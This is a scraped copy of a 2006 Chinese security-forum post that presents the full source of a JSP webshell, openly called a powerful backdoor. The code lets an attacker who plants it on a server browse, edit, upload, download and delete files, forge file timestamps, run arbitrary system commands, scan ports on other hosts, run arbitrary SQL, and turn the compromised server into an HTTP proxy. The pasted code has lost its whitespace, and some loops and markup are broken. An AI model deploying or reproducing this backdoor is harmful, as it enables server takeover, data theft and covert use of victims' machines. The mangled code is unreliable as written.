文档库 最新最全的文档下载
当前位置:文档库 › JSP全能管理系统1.0(强大的JSP后门)

JSP全能管理系统1.0(强大的JSP后门)

[原创]JSP全能管理系统1.0(强大的JSP后门)
文章标题:[原创]JSP全能管理系统1.0(强大的JSP后门)顶部 kj021320 发布于:2006-10-1123:21 [楼主][原创]JSP全能管理系统1.0(强大的JSP后门)
软件作者:nonamed
原始连接:https://www.wendangku.net/doc/9f6464890.html,/kj021320/archive/2006/10/09/1327908.aspx
信息来源:邪恶八进制信息安全团队(https://www.wendangku.net/doc/9f6464890.html,)

=800)window.open('../images/jspshellfile.JPG');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
=800)window.open('../images/jspshelltools.JPG');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
=800)window.open('../images/jspshellsystem.JPG');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
功能如下

文件:复制移动修改Ri期删除编辑下载上传新建

目录:复制移动修改Ri期打包zip新建

系统:查看系统信息环境变量信息容器信息

杂项:运行(系统命令/文件)API类反射扫描远程机器端口开启本机HTTP代理

数据库:查看数据库信息查看数据库函数查看数据库存储过程执行SQL

其中开启HTTP代理由为特出~呵呵只要别人一运行了这个JSP页面就等于在对方服务器开启了1个端口作为HTTP代理以供我们IE使用~呵呵~爽... 其中JAVA1.4版本以上测试Ok 以/**/注释的为未开启功能取掉注释即可

//以下为代码/////////////////////////


Copycode
<%@pageimport="java.util.*,java.io.*,java.sql.*,java.util.zip.*,https://www.wendangku.net/doc/9f6464890.html,ng.reflect.*,https://www.wendangku.net/doc/9f6464890.html,.*,javax.servlet.jsp.*"%>
<%@pagecontentType="text/html;charset=GBK"%>
<%@pagepageEncoding="gb2312"%>
<%!
finalStringAPP_NAME="KJ021320JSPManage-System1.0";
intportListen=5000;//setthehttpproxyport
booleanopenHttpProxy=false;//setthehttpproxyload-on-start-up
%>
<%
session.setMaxInactiveInterval(6000);
finalStringWEB_SITE=folderReplace(application.getRealPath("/"));
finalStringURL=request.getRequestURI();
if(session.getAttribute("ID")==null){
//theuserandpassfield
Stringusername="kj021320";
Stringpassword="kj021320";
//theuserandpassfield
if(request.getParameter("LName")!=null&request.getParameter("LPass")!=null&request.getParameter("LName").equals(username)&request.getParameter("LPass").equals(password)){
session.setAttribute("ID","1");
response.sendRedirect(URL);
}else{
out.println("

"+APP_NAME+"

"+
"username:
"+
"password:
");
}
return;
}
%>



<%=APP_NAME%>

body,td{font-size:12px;}
table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White

9;);}
input,select{font-size:12px;}
body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}
td{white-space:nowrap;}
a{color:black;text-decoration:none;}




<%
StringAction=request.getParameter("Action");
charaction=(Action==null?"0":Action).charAt(0);
try{
switch(action){
//eachskill
case'M':mainMenu(out,WEB_SITE);break;
case'F':showFiles(out,encodeChange(request.getParameter("FolderPath")));break;
case'S':showSystemInfo(out);break;
case'L':servletInfo(config,out);break;
case'D':downFile(encodeChange(request.getParameter("Filename")),response);return;
case'E':editFile(encodeChange(request.getParameter("Filename")),out);break;
case'R':deleteFile(encodeChange(request.getParameter("Filename")),out);break;
case'K':saveFile(encodeChange(request.getParameter("filename")),request.getParameter("FileContent").getBytes("ISO-8859-1"),out);break;
case'N':renameFile(encodeChange(request.getParameter("Filename")),out);break;
case'P':copyFile(encodeChange(request.getParameter("Filename")),out);break;
case'd':dateChange(encodeChange(request.getParameter("Filename")),request.getParameter("year"),request.getParameter("month"),request.getParameter("day"),out);break;
case'r':execFile(encodeChange(request.getParameter("execFile")),out);break;
case'Z':zip(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("FolderPath")),out);break;
case'U':upfile(request,out,encodeChange(request.getParameter("UPaddress")));break;
case'n':newFolder(out,encodeChange(request.getParameter("Filename")));break;
case'A':reflectAPI(out,encodeChange(request.getParameter("Filename")));break;
case'I':scanPort(out,encodeChange(request.getParameter("IPaddress")),Integer.parseInt(request.getParameter("startPort")),Integer.parseInt(request.getParameter("endPort")));break;
case's':ConnectionDBM(out,encodeChange(request.getParameter("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));break;
case'H':switchProxyService(out);break;
case'i':userInterFaces(out);break;
case'T':systemTools(out);break;
default:
mainForm(WEB_SITE,out);break;
}
}catch(Exceptione){
}
out.print("");
out.close();

%>
<%!
//themainframwork
voidmainForm(Stringweb_Site,JspWriterout)throwsException{
out.print("");
out.print("");
out.print("");
out.print("");
out.print("FilePath:");

out.print("");
out.print("");
out.print("");
out.print("GOtoLink");
out.print("");
out.print("");
out.print("");
out.print("");
out.print("");
}
//menuformtochoose
voidmainMenu(JspWriterout,Stringweb_Site)throwsException{
out.println("

");
out.println(""+ico(58)+"FileOperation(File.class)");
out.println(""+ico(48)+"WEBFolder");
out.println(""+ico(53)+"SystemInfo(System.class)");
out.println(""+ico(53)+"ServletInfo");
out.println(""+ico(53)+"SystemTools");
out.println(""+ico(57)+"Interfaces");
out.println("Aboutnonamed(kj021320)");
out.println("
");
}
//showallfilesandfolders
voidshowFiles(JspWriterout,Stringpath)throwsException{
Filefile=newFile(path);
longmaxSize=0;
if(file.isDirectory()){
File[]f=file.listFiles();
out.println("");
for(inti=0;imaxSize=maxSize+f[i].length();
if(f[i].isDirectory())
out.println("
");
else
out.println("");
}
out.println("
nametypesizemodifydatereadonlycanwritehiddenAction
"+ico(48)+f[i].getName()+"DIR"+getSize(f[i].length())+""+newjava.util.Date(f[i].lastModified())+""+f[i].canRead()+""+f[i].canWrite()+""+f[i].isHidden()+""+fOperation(true,f[i].getAbsolutePath())+"
"+ico(50)+f[i].getName()+"file"+getSize(f[i].length())+""+newjava.util.Date(f[i].lastModified())+""+f[i].canRead()+""+f[i].canWrite()+""+f[i].isHidden()+""+fOperation(false,f[i].getAbsolutePath())+"
");
out.print("thisfoldersize:"+ge

tSize(maxSize));
}
}
//showthesysteminformation
voidshowSystemInfo(JspWriterout)throwsException{
Mapmap=null;
Setset=null;
Iteratorit=null;

/*useforjdk1.5
map=System.getenv();
set=map.keySet();
it=set.iterator();
out.print("


SystemEnvinfo:
    ");
    while(it.hasNext()){
    ObjectoName=it.next();
    out.println("
  • "+oName+"["+map.get(oName)+"]");
    }
    out.print("
");
*/

map=System.getProperties();
set=map.keySet();
it=set.iterator();
out.println("
SystemPropertyinfo:
    ");
    while(it.hasNext()){
    ObjectoName=it.next();
    out.println("
  • "+oName+"["+map.get(oName)+"]");
    }
    out.print("

SystemCPU:");
out.print(Runtime.getRuntime().availableProcessors()+"
");
out.print("theJVMFreeMemory:"+getSize(Runtime.getRuntime().freeMemory()));
out.print("
theJVMMaxMemory:"+getSize(Runtime.getRuntime().maxMemory()));
}
//showservletinformation
voidservletInfo(ServletConfigconfig,JspWriterout)throwsException{
ServletContextsc=config.getServletContext();
out.println("Serverinfo:"+sc.getServerInfo()+"
");
out.println("ServletContextname:"+sc.getServletContextName()+"
");
out.println("Majorversion:"+sc.getMajorVersion()+"
");
out.println("Minorversion:"+sc.getMinorVersion()+"
");
Enumerationen=sc.getInitParameterNames();
StringinitInfo="initparameter:
";
out.print(initInfo);
while(en.hasMoreElements()){
Stringname=(String)en.nextElement();
initInfo="key:"+name+"value:"+sc.getInitParameter(name)+"
";
out.print(initInfo);
}

}
//downtheserverfile
voiddownFile(Stringfilename,HttpServletResponseres)throwsException{
intw=0;
byte[]buffer=newbyte[256];
byte[]b=(newFile(filename)).getName().getBytes("gb2312");
StringoutFile=newString(b,"ISO-8859-1");
res.reset();
res.setHeader("Content-disposition","attachment;filename=\""+outFile+"\"");
ServletOutputStreamsos=res.getOutputStream();
BufferedInputStreambis=null;
try{
bis=newBufferedInputStream(newFileInputStream(filename));
while((w=bis.read(buffer,0,buffer.length))!=-1){
sos.write(buffer,0,w);
}
}catch(Exceptione){
}finally{
if(bis!=null)bis.close();
}
sos.flush();
res.flushBuffer();
}
//delectfile
voiddeleteFile(Stringfilename,JspWriterout)throwsException{
Filef=newFile(filename);
if(f.exists()){
if(f.delete())out.print(filename+"deletesuccess...");
}else{
out.print("filenotfind!!");
}
}
//renamethefile
voidrenameFile(Stringfilename,JspWriterout)throwsException{
intsplit=filename.indexOf("|");
StringnewFilename=filename.substring(split+1);
filename=filename.substring(0,split);
Filef=newFile(filename);
if(f.exists()){
if(f.renameTo(newFile(newFilename)))out.print(newFilename+"filemovesuccess");
}else{
out.print("filenotfind!!");
}
}
//filecopy
voidcopyFile(Stringfilename,JspWriterout)throwsException{
intsplit=filename.indexOf("|");
StringnewFilename=filename.substring(split+1);
filename=filename.substr

ing(0,split);
Filef=newFile(filename);
BufferedInputStreambis=null;
BufferedOutputStreambos=null;
if(f.exists()){
try{
bis=newBufferedInputStream(newFileInputStream(filename));
bos=newBufferedOutputStream(newFileOutputStream(newFilename));
ints=0;
while((s=bis.read())!=-1){
bos.write(s);
}
}catch(Exceptione){
out.print("filecopyerror");
}finally{
if(bis!=null)bis.close();
if(bos!=null)bos.close();
}
out.print(newFilename+"filecopysuccess");
}else{
out.print("filenotfind!!");
}
}
//fileeditor
voideditFile(Stringfilename,JspWriterout)throwsIOException{
Filef=newFile(filename);
out.print("FilePath:");
out.print("");
out.print("");
out.print("");
out.print("");
if(f.exists()){
try{
BufferedReaderbr=newBufferedReader(newInputStreamReader(newFileInputStream(filename),"Gb2312"));
Strings="";
while((s=br.readLine())!=null){
out.println(htmlEntity(s));
}
}catch(Exceptione){
out.print("fileediterror");
}finally{
}
}
out.print("");
}
//filesave
voidsaveFile(Stringfilename,byte[]fileContent,JspWriterout)throwsIOException{
if(filename!=null||fileContent!=null){
BufferedOutputStreambos=null;
try{
bos=newBufferedOutputStream(newFileOutputStream(filename));
bos.write(fileContent,0,fileContent.length);
}finally{
if(bos!=null)bos.close();
}
out.print(filename+"filesavesuccess");
}else{
out.print("Error");
}
}
//changthefilemodifydate
voiddateChange(Stringfilename,Stringyear,Stringmonth,Stringday,JspWriterout)throwsIOException{
Filef=newFile(filename);
if(f.exists()){
Calendarcalendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
if(f.setLastModified(calendar.getTimeInMillis()))
out.print(filename+"filedatechangesuccess");
else
out.print(filename+"filedatechangeerror");
}else{
out.println("filenotfind!!!");
}
}
//runfile
voidexecFile(Stringfile,JspWriterout)throwsException{
inti=0;
Runtimert=Runtime.getRuntime();
Processps=rt.exec(file);
InputStreamReaderisr=null;
char[]bufferC=newchar[1024];
try{
isr=newInputStreamReader(ps.getInputStream(),"GB2312");
out.print("");
while((i=isr.read(bufferC,0,bufferC.length))!=-1){
out.print(htmlEntity(newString(bufferC,0,i)));
}
}catch(Exceptione){
out.print("runfileerror");
}finally{
if(isr!=null)isr.close();
}
out.print("");
systemTools(out);
}
//zipzhefolder
voidzip(StringzipPath,StringsrcPath,JspWriterout)throwsException{
File

OutputStreamoutput=null;
ZipOutputStreamzipOutput=null;
try{
output=newFileOutputStream(zipPath);
zipOutput=newZipOutputStream(output);
zipEntry(zipOutput,srcPath,srcPath,zipPath);
}catch(Exceptione){
out.print("fileziperror");
}finally{
if(zipOutput!=null)zipOutput.close();
}
out.print("zipok"+zipPath);
}
//addthezipentry
voidzipEntry(ZipOutputStreamzipOs,StringinitPath,StringfilePath,StringzipPath)throwsException{
StringentryName=filePath;
Filef=newFile(filePath);
if(f.isDirectory()){//checkisfolder
String[]files=f.list();
for(inti=0;izipEntry(zipOs,initPath,filePath+File.separator+files[i],zipPath);
return;
}
StringchPh=initPath.substring(https://www.wendangku.net/doc/9f6464890.html,stIndexOf("/")+1);//?????
intidx=https://www.wendangku.net/doc/9f6464890.html,stIndexOf(chPh);
if(idx!=-1){
entryName=filePath.substring(idx);
}
ZipEntryentry;
entry=newZipEntry(entryName);
Fileff=newFile(filePath);
if(ff.getAbsolutePath().equals(zipPath))return;
entry.setSize(ff.length());
entry.setTime(https://www.wendangku.net/doc/9f6464890.html,stModified());
//theCRCefficacy
entry.setCrc(0);
CRC32crc=newCRC32();
crc.reset();
zipOs.putNextEntry(entry);
intlen=0;
byte[]buffer=newbyte[2048];
intbufferLen=2048;
FileInputStreaminput=null;
try{
input=newFileInputStream(filePath);
while((len=input.read(buffer,0,bufferLen))!=-1){
zipOs.write(buffer,0,len);
crc.update(buffer,0,len);
}
}catch(Exceptione){
}finally{
if(input!=null)input.close();
}
entry.setCrc(crc.getValue());
}
//fileuploadtoserver
voidupfile(HttpServletRequestrequest,JspWriterout,Stringfilename)throwsException{
Stringboundary=request.getContentType().substring(30);//?????
ServletInputStreamsis=request.getInputStream();
BufferedOutputStreambos=null;
byte[]buffer=newbyte[256];
Stringline=null;
for(inti=0;i<5;i++){
line=readLine(buffer,sis);
}
try{
bos=newBufferedOutputStream(newFileOutputStream(filename));
//readthefiledata
while(line!=null&line.indexOf(boundary)==-1){
bos.write(buffer,0,line.getBytes().length);
line=readLine(buffer,sis);
}
out.print("uploadsuccess!");
}catch(Exceptione){
out.print("uploaderror");
}finally{
if(bos!=null)bos.close();
}
}
StringreadLine(byte[]lineByte,ServletInputStreamservletInputstream){
try{
intlen=0;
len=servletInputstream.readLine(lineByte,0,lineByte.length);
if(len==-1){
returnnull;
}else{
returnnewString(lineByte,0,len);
}
}catch(Exception_ex){
returnnull;
}
}
//createfolder
voidnewFolder(JspWriterout,Stringfoldername)throwsException{
Filef=newFile(foldername);
if(f.mkdirs()){
out.print("thefoldercreatesuccess!");
}else{
out.print("thefoldercreateerror");
}
}
//reflectjavaAPIclasses
voidreflectAPI(JspWriterout,StringclassName)throwsException{
Classcls=Class.forName(className);
Stringconstructor="";
StringifString="";
Class[]interfaces=cls.getInterfaces();
StringsupperClass=cls.g

etSuperclass().toString();
Constructor[]c=cls.getDeclaredConstructors();
Field[]f=cls.getDeclaredFields();
Method[]m=cls.getDeclaredMethods();

for(inti=0;iifString=ifString+interfaces[i].getName()+",";
}
out.print(""+Modifier.toString(cls.getModifiers())+""+cls+"
extends"+supperClass+"
implemets
"+ifString);

out.print("
{
Constructor:
");
for(inti=0;iout.print(" "+c[i]+"
");
out.print("Field:
");
for(inti=0;iout.print(" "+f[i]+"
");
out.print("Function:
");
for(inti=0;iout.print(" "+m[i]+"
");
out.print("
}");
}
//scantheremoteserverport
voidscanPort(JspWriterout,StringstrAddress,intstartPort,intendPort)throwsException{
if(endPort65535||endPort>65535||endPort<=0){
out.print("portsetuperror");
return;
}
InetAddressia=InetAddress.getByName(strAddress);
for(intp=startPort;p<=endPort;p+=15){
(newScanPort(ia,p,p+14,out)).start();
}
Thread.sleep((int)(endPort/startPort)*5000);
}//scanportclass
classScanPortextendsThread{
intstartPort;
intendPort;
InetAddressaddress;
javax.servlet.jsp.JspWriterout;
publicScanPort(InetAddressaddress,intstartPort,intendPort,JspWriterout){
this.address=address;
this.startPort=startPort;
this.endPort=endPort;
this.out=out;
}
publicvoidrun(){
Sockets=null;
for(intport=startPort;port<=endPort;port++){
try{
s=newSocket(address,port);
out.println("port"+port+"isOpen
");
}
catch(IOExceptione){
}finally{
try{s.close();}catch(Exceptione){}
}
}
}
}
publicvoidswitchProxyService(JspWriterout)throwsException{
if(openHttpProxy=!openHttpProxy){//opentheproxy
newRunProxyService(portListen).start();
out.print("Proxyrunning");
}else{
out.print("Proxyclosed");
}
}
//openhttpProxyservice
publicclassRunProxyServiceextendsThread{
intport;
publicRunProxyService(intport){
this.port=port;
}
publicvoidrun(){
try{
ServerSocketss=newServerSocket(5000);
while(true){
if(openHttpProxy){
newHttpProxy(ss.accept()).start();
}else{
break;
}
}
ss.close();
}catch(IOExceptione){
}
}
}
//HttpProxyclass
publicclassHttpProxyextendsThread{
privateSockets;
publicinttimeOut=10000;
publicHttpProxy(Sockets){
this.s=s;
}
publicHttpProxy(Sockets,inttimeOut){
this.s=s;
this.timeOut=timeOut;//settheconnectiontimeout
}
publicvoidrun(){
byte[]bit=newbyte[1024];
intreadBit=0;
intsize=0;
StringreturnAddress=null;//returntotheaddress
intreturnPort=0;//returntotheport
StringsendHostName=null;
intsendPort=0;
SocketsendSocket=null;
OutputStreamos=null;
InputStreamis=null;
try{
intsplit=0;

is=s.getInputStream();
//getthehttpheadinformation
if((size=is.read(bit,0,bit.length))==-1)return;

StringhttpHead=newString(bit,0,size);
split=httpHead.indexO

f("\nHost:")+7;
sendHostName=httpHead.substring(split,httpHead.indexOf("\n",split));
//getthehostnameandport
if((split=sendHostName.indexOf(':'))!=-1){
sendPort=Integer.parseInt(sendHostName.substring(split+1).trim());
sendHostName=sendHostName.substring(0,split);
sendSocket=newSocket(sendHostName.trim(),sendPort);
}else{
sendSocket=newSocket(sendHostName.trim(),80);
}
sendSocket.setSoTimeout(timeOut);
//senduserheadhttp
os=sendSocket.getOutputStream();
os.write(httpHead.getBytes());
//senduserdatas
if(size==bit.length)
while((size=is.read(bit,0,bit.length))!=-1){
os.write(bit,0,size);
}
os.flush();
//getWEBSITEhtml anduserbrowser'soutput
is=sendSocket.getInputStream();
os=s.getOutputStream();

while((size=is.read(bit,0,bit.length))!=-1){
os.write(bit,0,size);
os.flush();
}
}catch(SocketExceptionse){
}catch(IOExceptionie){
}catch(Exceptione){
}finally{
//closethestream
if(is!=null){
try{
is.close();
}catch(IOExceptione){
}
}
if(os!=null){
try{
os.close();
}catch(IOExceptione){
}
}
}
}
}
//connectiontothedatabase
voidConnectionDBM(JspWriterout,Stringdriver,Stringurl,StringuserName,StringpassWord,StringsqlAction,StringsqlCmd)throwsException{
DBMdbm=newDBM(driver,url,userName,passWord,out);
if(sqlAction.equals("LDB")){
dbm.lookInfo();
}else{
dbm.executeSQL(sqlCmd);
}
dbm.closeAll();
}
//databasemanagerclass
classDBM{
privateJspWriterout;
privateConnectioncon;
privateStatementstmt;
privateResultSetrs;
publicDBM(StringdriverName,Stringurl,StringuserName,StringpassWord,JspWriterout)throwsException{
Class.forName(driverName);
this.out=out;
con=DriverManager.getConnection(url,userName,passWord);
}
publicvoidlookInfo()throwsException{
DatabaseMetaDatadbmd=con.getMetaData();
StringtableType=null;
out.print("DataBaseInfo

");
out.print("");
out.print("");
out.print("");
out.print("");
out.print("");
out.print("");
out.print("
DataBaseName:"+dbmd.getDatabaseProductName()+"
DataBaseVersion:"+dbmd.getDatabaseProductVersion()+"
theNumericFunction:"+dbmd.getNumericFunctions()+"
theStringFunction:"+dbmd.getStringFunctions()+"
theTimeDateFunction:"+dbmd.getTimeDateFunctions()+"
theSystemFunction:"+dbmd.getSystemFunctions()+"
");
out.print("ProcedureInfo");
try{
getProcedureDetail(dbmd.getProcedures(null,null,null));
}catch(ExceptionproE){}

//showallthetables
try{
rs=dbmd.getTables(null,null,null,null);
}catch(ExceptiontabE){}
out.print("DataBaseTablesInfo
");
while(rs.next()){
tableType=rs.getString(4);
out.print("TableName:"+rs.getString(3)+"Type:"+tableType+"
");
if(tableType.indexOf("VIEW")>=0||tableType.indexOf("TA

BLE")>=0){
try{
getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null));
}catch(ExceptioncolumnE){}
}
}
this.closeAll();
}
//showthecolumninformation
privatevoidgetTableDetail(ResultSettableRs)throwsException{
out.print("

");
while(tableRs.next()){
out.print("");
}
out.print("
COLUMN_NAMEDATA_TYPETYPE_NAMECOLUMN_SIZEIS_NULLABLECHAR_OCTET_LENGTH
"+tableRs.getString(4)+""+tableRs.getInt(5)+""+tableRs.getString(6)+""+tableRs.getInt(7)+""+tableRs.getString(18)+""+tableRs.getInt(16)+"
");
tableRs.close();
}
//showalltheprocedures
privatevoidgetProcedureDetail(ResultSetprocRs)throwsException{
out.print("PROCEDURE_NAMEREMARKSPROCEDURE_TYPE");
while(procRs.next()){
out.print(""+procRs.getString(3)+""+procRs.getString(7)+""+procRs.getShort(8)+"");
}
out.print("");
procRs.close();
}
//runthesqlcommand
publicvoidexecuteSQL(StringsqlCmd)throwsException{
stmt=con.createStatement();
if(sqlCmd.trim().toLowerCase().startsWith("select")){
rs=stmt.executeQuery(sqlCmd);
ResultSetMetaDatarsmd=rs.getMetaData();
intColumnCount=rsmd.getColumnCount();
out.print("");
for(inti=1;i<=ColumnCount;i++){
out.print(""+rsmd.getColumnName(i)+"");
}
out.print("");
while(rs.next()){
out.print("");
for(inti=1;i<=ColumnCount;i++){
out.print(""+rs.getString(i)+"");
}
out.print("");
}
}else{
stmt.executeUpdate(sqlCmd);
out.print("executesuccess");
}


}
//closealltheresource
publicvoidcloseAll()throwsSQLException{
try{
if(rs!=null)rs.close();
}catch(Exceptione){
}
try{
if(stmt!=null)stmt.close();
}catch(Exceptione){
}
try{
if(con!=null)con.close();
}catch(Exceptione){
}
}
}
//theothertools
voidsystemTools(JspWriterout)throwsException{
out.print("");
out.print("Systemclassrun");
out.print("filepath:");
out.print("fileupload");
out.print("file:uptofile");
out.print("newfilefilefulln

ame:");
out.print("");
out.print("Createfolderfolderfullname:");
out.print("");
out.print("ReflectAPIClassName:");
out.print("");
out.print("ScanPortIP:StartPort:EndPort:");
out.print("");
out.print("");
out.print("DBM");
out.print("");
out.print("Driver:URL:user:password:");
out.print("SqlCmd:");
out.print("");
out.print("");
if(!openHttpProxy){
out.print("OpenTheHttpProxy");
}else{
out.print("CloseTheHttpProxy");
}
out.print("");
}
//userinterfaces==========================//
voiduserInterFaces(JspWriterout)throwsException{
out.print("ifuwanttoaddanfunction,ucancodingin'userInterFaces'function");

}
//=========================================//
%>




<%!
StringencodeChange(Stringstr)throwsException{
if(str==null)
returnnull;
else
returnnewString(str.getBytes("ISO-8859-1"),"gb2312");
}
StringfolderReplace(Stringfolder){
returnfolder.replace('\\','/');
}
StringfOperation(booleanf,Stringfile){
if(f)
return"DeleteRenamesetDateZip";
else
return"Delete<

ahref=\"javascript:reName('"+folderReplace(file)+"')\">RenamesetDateCopyEditDown";
}
StringgetSize(longsize){
if(size>=1024*1024*1024){
returnnewLong(size/1073741824L)+"G";
}elseif(size>=1024*1024){
returnnewLong(size/1048576L)+"M";
}elseif(size>=1024){
returnnewLong(size/1024)+"K";
}else
returnsize+"B";
}
Stringico(intnum){//ico
return"&#"+num+"";
}
StringhtmlEntity(StringhtmlCode){//htmluncode
htmlCode=htmlCode.replaceAll("","");
htmlCode=htmlCode.replaceAll("<","<");
returnhtmlCode.replaceAll(">",">");
}
%>



[此贴被sunwear在2006-10-1200:54重新编辑]
描述:原文件下载
附件:MyJsp.zip(9K)下载次数:190需要威望:1顶部 kj021320 发布于:2006-10-1213:00 [1楼]
粘贴过来的代码有点问题最好直接下载zip包里面的~~~默认代理端口为5000在IE那里设置好代理IPport就可以用了(c)Copyleft2003-2007,EvilOctalSecurityTeam.
ThisfileisdecompiledbyanunregisteredversionofChmDecompiler.
Regsiteredversiondoesnotshowthismessage.
YoucandownloadChmDecompilerat:https://www.wendangku.net/doc/9f6464890.html,/


相关文档
相关文档 最新文档